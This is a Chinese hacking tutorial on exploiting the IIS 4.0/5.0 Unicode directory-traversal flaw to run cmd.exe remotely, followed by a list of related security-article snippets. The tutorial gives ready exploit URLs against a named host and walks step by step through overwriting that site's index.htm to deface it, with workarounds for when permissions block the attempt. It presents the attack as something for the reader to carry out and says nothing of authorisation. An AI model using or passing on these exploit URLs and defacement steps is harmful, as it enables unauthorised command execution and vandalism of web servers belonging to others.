IIS漏洞入侵原理介绍 IIS漏洞如何入侵
IIS(Internet Information Server)服务为Web服务器提供了强大的Internet和Intranet服务功能。主要通过端口80来完成操作,因为作为Web服务器,80端口总要打开,具有很大的威胁性。长期以来攻击IIS服务是黑客惯用的手段,笔者记得有段时间两大黑客组织对攻就频繁地用到了IIS漏洞入侵。这种情况现在还依然存在,多是由于企业管理者或网管对安全问题关注不够造成的。
Unicode漏洞
针对IIS的攻击方式可以说是五花八门,使用大量的数据请求,使IIS超负荷而停止工作,是初级黑客的必修课程。不过鉴于篇幅限制,针对IIS的攻击本文不做详细介绍,而是说说入侵IIS。IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞。微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件或程序。我们此文就着重来讲讲如何利用这个漏洞入侵IIS。
对于IIS 4.0/5.0中文版,当IIS在收到的URL请求的文件名中,包含一个特殊的编码例如“%c1%hh”或者“%c0%hh”,它会首先将其解码变成“0xc10xhh”, 然后尝试打开这个文件。Windows系统认为“0xc10xhh”可能是Unicode编码,因此它会首先将其解码,如果 “0x00<= %hh < 0x40”的话,采用的解码的格式与下面的类似:
%c1%hh->(0xc1-0xc0)*0x40+0xhh
%c0%hh->(0xc0-0xc0)*0x40+0xhh
因此,利用这种编码,我们可以构造很多字符,例如:
%c1%1c->(0xc1-0xc0)*0x40+0x1c=0x5c=’/’
%c0%2f->(0xc0-0xc0)*0x40+0x2f=0x2f=’/’
攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文版IIS4.0+SP6开始,还影响中文版WIN2000+IIS5.0、中文版WIN2000+IIS5.0+SP1。
在NT4中“/”编码为“%c1%9c”;在英文版的WIN2000中为“%c0%af”;在中文版的WIN2000里是“%c1%1c”。此外还有多种编码,不逐一阐述,大家可以查查资料。本文均以WIN2000为例,其他类型请自行替换。
判断是否存在漏洞
用该漏洞的扫描器来进行扫描是一种常见的方法。但我们知道,扫描并不是一个真正的黑客攻击行为,它只是一种寻找入口的方式。IIS的Unicode漏洞扫描器有很多,如RangeScan或者是unicodeScan都可以进行扫描以收集服务器信息。还有些综合性的扫描软件除了能发现Unicode漏洞之外,同时还能收集服务器的其它漏洞——X-Scan(下载地址:http://bitscn.com/upload/X-Scan-v3.1-cn.rar)。
当然也可以在IE浏览器中输入以下语句来进行判断:
http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
学过DOS的应该可以看懂,其实就是利用当中的非法请求使我们连到system32下,如果Inetpub目录不和Winnt在同一盘符,或者目录级数有改动,就可能会引起请求失败。
如果存在漏洞,那么在浏览区可看到如下类似信息:
Directory of C:/inetpub/scripts
2005-03-05 15:49 〈DIR〉 .
2005-09-05 15:49 〈DIR〉 ..
是不是有自己机器的感觉了,正点!要的就是这种感觉!
cmd.exe相当于DOS里的command.com,因此,我们可以执行很多命令了!
注意:在上面输入的判断语句中,“/c”后面的“+”,实际上是空格,请记牢!dir是DOS中的查看文件和目录命令,不懂DOS的朋友快去学习。
看了上面的介绍,不用说大家也知道我们可以利用此漏洞对服务器展开攻击了!
修改网站首页
1.确定网站首页名称
一般网站默认首页文件为index.htm、index.html、index.asp、default.htm、defautl.html或default.asp中的一个,我们可以通过输入不同的首页名称来测试并确定要修改的网站首页。在IE地址栏中输入以下三个网址:
http://aa.feedom.net/index.html
http://aa.feedom.net/default.asp
http://aa.feedom.net/index.htm
通过对上面三个网址的测试,我们发现只有第三个网址可以正常打开,说明这个网站的首页名称为index.htm。好了,那么我们就修改它吧!
2.修改原理
最方便的方法是echo法:echo是一个系统命令,主要用于设置回应开关。
echo test >c:/autoexec.bat就是把test加入autoexec.bat里并删除原有内容;
echo timedate >>c:/autoexec.bat就是加入timedate但不删除原有内容。
明白了吗?接下来我们就可以逍遥地修改了。
3.更改网站首页
在IE中输入以下地址:
http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:/inetpub/wwwroot/index.htm
IE浏览器返回来的结果可能为以下两种情况之一:
1)HTTP 500 - 内部服务器错误
2)The parameter is incorrect
通过返回信息提示和对CMD的分析,可能是命令语句中参数错误,加入"符号再试试:
1) http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:/inetpub/wwwroot/index.htm
表示把HaHaThisismyhack加入到index.htm文件并删除原有内容。
2)http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:/inetpub/wwwroot/index.htm
表示把by2005-3-9加入到index.htm文件中,但不删除原有内容。
如果正常,上面两条语句的回应应该都为CGI错误,这表示语句执行成功了,系统只是程序性地报个错误,不用理会它。
现在再来打开网站aa.feedom.net看看吧,怎么样了,是不是被你改掉了?在实际操作中,由于目录权限等网管因素的存在,可能这个方法也会失效,这时,我们就可以用copy cmd.exe 为另一个.exe文件的方式解决,不过要记住路径,别出错了,例如:
http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:/a.exe
http://aa.feedom.net/
IIS漏洞入侵原理介绍 IIS漏洞如何入侵
相关推荐
利用Web漏洞入侵网站并控制服务器及Web漏洞原理与利用
1、端口扫描的目的是什么?2、漏洞扫描的目的是什么?3、Webshell是什么?实训2什么是SQL注入?什么是XSS跨站?什么是上传攻击?
拒绝服务攻击(SMBloris 漏洞)
如果 Microsoft Windows7、Windows8、Windows Server2008。or Windows Server 2012 正在运行了存在 MS15-034 漏洞的 IIS。在进行 SMBloris拒绝服务攻击之前,要先设置攻击机的最大连接数。MS15-034 HTTP 协议栈请求处理拒绝服务攻击。使用 smb_loris 模块来攻击目标机机器。服务,那么可以利用这个漏洞导致目标服务器崩溃。
如何防御入侵服务器
点进来的都是看到防御入侵服务器标题进来的吧?🧐🧐【doge】⚠警告⚠:以下不是文章的正文内容,下面案例请勿参考客户通常转向互联网以获取信息并购买产品和服务。为此,大多数组织都有网站。大多数网站存储有价值的信息,如信用卡号、电子邮件地址和密码等。这使他们成为攻击者的目标。污损的网站也可用于传播宗教或政治意识形态等。在本教程中,我们将向您介绍黑客技术以及如何保护服务器免受此类攻击。Web服务器存储了有价值的信息,可供公共领域访问。这使它们成为攻击者的目标。
Microsoft IIS WebDAV安全漏洞修复参考
0x01 漏洞简介 Windows Server是微软发布的一系列服务器操作系统。Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。Microsoft Windows Server 2003 R2中的IIS 6.0版本中的WebDAV服务的‘ScStoragePathFromUrl’函数
Windows2008使用-解决漏洞-CVE-2010-2730
随着硬件的升级,操作系统也逐渐进行了版本更新。目前阶段,Windows2016Server、Windows2022Server逐渐成为了以Windows系列的服务器平台系统。对于有些应用而言,由于其业务的固定,可能仍只能运行在Windows2008Server或者Windows2012Server上。有时候我们为安全需要,需要将相关的操作系统涉及的漏洞做修复。最近碰到在一个Windows2008R2 的操作系统漏洞CVE-2010-2730,一顿操作,终于找到了合适的方案,这里分享给大家。
IIS中间件漏洞
目录 一、简介 二、解析漏洞 (一)IIS 6.x 修复建议: (二)IIS 7.x 修复建议: (三)PUT任意文件写入 修复建议: (四)IIS短文件漏洞 (五)HTTP.SYS远程代码执行 远 (MS15-034) (六)RCE-CVE-2017-7269
SQL注入攻击的原理及其防范措施
SQL注入攻击的原理及其防范措施 ASP编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到。那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行人很难一眼就看出来罢了。在界面的友好性、运行性能以及网站的安全性方面是新手与老手之间区别的三个集中点。而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。
【SAP PO】SAP PO 接口配置完整教程之二REST服务对接
SAP PO 接口配置完整教程之二REST服务对接
IIS漏洞入侵
硬功夫栏目《黑客营》网站:http://cpcw.com《黑客营》论坛:http://cpcw.com/bbs感谢中国网管联盟提供支持(www.BitsCN.com)为了满足广大读者的要求,本报《硬功夫》栏目再次与大家见面了。本次我们为你准备了八期的黑客系列选题,旨在带领大家完成对一些主流技术提升,我们会详细地介绍新近阶段最火热的黑客事件,并对它的攻击技术进行分析解说。为了便于读者研究和学习,我们
戴尔PowerEdge服务器R450 RAID配置步骤
戴尔PowerEdge服务器R450 RAID配置步骤
从冰棍到铸钢:手把手用Fluent融化凝固模型模拟3个不同场景(含案例设置对比)
本文深入探讨了Fluent融化凝固模型在冰棍融化、巧克力涂层凝固和钢铁连铸三个不同场景中的应用。通过详细的参数设置和案例对比,帮助工程师掌握相变模拟的核心技巧,提升工业级CFD分析的精度和效率。
通过IIS日志来检测入侵实例
通过IIS日志来检测入侵实例网站服务器对于网络成员的的信息共享提供了大大的方便,同时也带来了很多安全隐患,妥善的使用和管理网络资源成为了网络管理员的面临的严峻的考验。面对网络入侵者使用各种以知漏洞对网站服务器进行攻击,分析和防范网络入侵者的行为则成为解决网络安全问题的一个重要手段。微软的服务器系统Microsoft Internet Information Server (IIS)提供了一套相
电力现货市场出清机制与节点电价计算实战解析
本文深入解析了电力现货市场的出清机制,特别是节点边际电价的计算原理与实战应用。通过一个基于Matlab和IEEE30节点系统的完整案例,详细演示了如何利用最优潮流模型求解市场出清价格,并提取节点电价,揭示了电网阻塞如何影响实时电价的形成。
iis漏洞检查
iis漏洞检查-------------------------------------------------------------------------------- 【眉笔】 于 2001-1-14 12:27:53 加贴在 NT世界 ↑ 翻译:coolfrog coolfrog@elong.com>不当之处请大家指正、修改、完善。发布日期:2000/11/3受影响的系统:
从零开始:用摩尔线程S4000运行开源AI项目的完整流程
本文详细介绍了如何使用摩尔线程S4000 GPU从零开始运行开源AI项目的完整流程,包括硬件选择、驱动安装、容器化环境配置以及典型AI项目的实战部署。通过性能优化技巧,显著提升推理速度,适合开发者快速上手国产GPU的AI应用开发。
数学概念 | 旋转矩阵、欧拉角、四元数
旋转矩阵、欧拉角、四元数概念及相关运算;
利用IIS日志追查网站入侵者
以前黑站黑了很多,但是就没有想过会不会被追踪到,都没有想过怎么去擦自己的屁股,万万没想到在自己不再黑站的时候,却发现了自己的BBS被黑了。根据当初的判断,BBS程序是我们BCT小组成员编写的Lvbbs不会存在着上传漏洞和SQL注入啊!就算能拿到权限都不可能可以弄出个webshell出来,不是程序的漏洞的话,就一定是服务器的安全问题了,以前整天拿着旁注去黑站,这下子好玩了,竟然被别人拿去黑自己的网站
“华为杯”研究生数学建模竞赛2020年-【华为杯】D题:无人机集群协同对抗(附获奖论文和MATLAB代码实现)
1.问题重述摘 要:本文针对非线性约束条件下红蓝双方无人机集群协同对抗的最优规划问题,结合贪婪队形、非线性规划、内点法、蒙特卡洛方法和全联立正交配置有限元法,构建了无人机集群协同对抗推演模型。,构建了。我们综合考虑了,和。首先分析红方在集群约束下的贪婪队形和拦截策略,然后我们基于内点法联合MATLAB和AMPL编程求解蓝方突防的非线性规划解,最后基于蒙特卡洛法对整个蓝方突防过程进行推演,得到突防概率图。通过推演,我们提出了两块的区域作为所求区域,并对蓝方的最优突防策略进行分析。
中间件安全IIS----文件解析漏洞利用
IIS服务器主要存在两种解析缺陷:文件夹解析漏洞和分号截断漏洞。下面就来分别具体了解一下。
【PowerBI专栏】PowerBI导入MYSQL数据库
本文介绍了在PowerBI中连接MySQL数据库的方法。首先需要下载并安装MySQL官方.NET连接驱动(推荐8.4.0版本),安装完成后重启PowerBI。连接时需填写服务器IP和数据库名称等必填参数。文章详细说明了连接配置步骤,包括账户设置、数据表选择以及可能遇到的数据格式转换问题处理。最后指导用户完成数据清洗后进入PowerPivot进行后续计算。特别提醒最新9.4版本可能存在兼容性问题,建议使用稳定的8.4版本连接器。
最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版
Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。
windows 2003 IIS漏洞复现
新建网站的具体步骤如下:我们得到一个网站,地址为win 2003的ip地址。可以访问到自建的网站将ip地址赋予相应的域名,即通过test12138.com也能搜索到网站。在本机的host文件中修改,使得ip地址和域名对应,那么这两种方式都能进入本网站。在cmd命令中运行nslookup test12138.com验证DNS解析是否成功,即,IP地址和域名是否对应。存在问题:以下结论还无法通过实验体现,并且修改域名不成功,无法通过域名访问网站。
STM32F407中文手册
STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。
入侵与攻击漏洞资料
入侵与攻击漏洞SQL注入法攻击http://download.chinaitlab.com/soft/6740.htm3389入侵集锦http://download.chinaitlab.com/soft/6788.htm深入分析SQL注入攻击及安全防范http://download.chinaitlab.com/soft/7930.htm菜鸟学入侵之dos命令讲解http://download.
ET2012新版免狗免安装绿色软件
ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,
C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片
基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正
IIS的Unicode漏洞攻击
IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞。微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件或程序。我们此文就着重来讲讲如何利用这个漏洞入侵IIS。 ...
入侵过程-入侵阶段介绍(二)攻击阶段
网络安全01-入侵过程-入侵阶段介绍(二)攻击阶段 攻击阶段 web应用入侵 Web应用漏洞原理 攻击者通过浏览器或攻击工具,在URL或者其他输入区域(如表单),向Web服务器发送特殊请求,从中发现存在的漏洞,从而进一步操纵控制网站。 常见web应用漏洞分类与入侵 信息泄露 信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求,泄露一些敏感信息。 造成泄露主要有三种原因: web服务器...
1888



被折叠的 条评论
为什么被折叠?



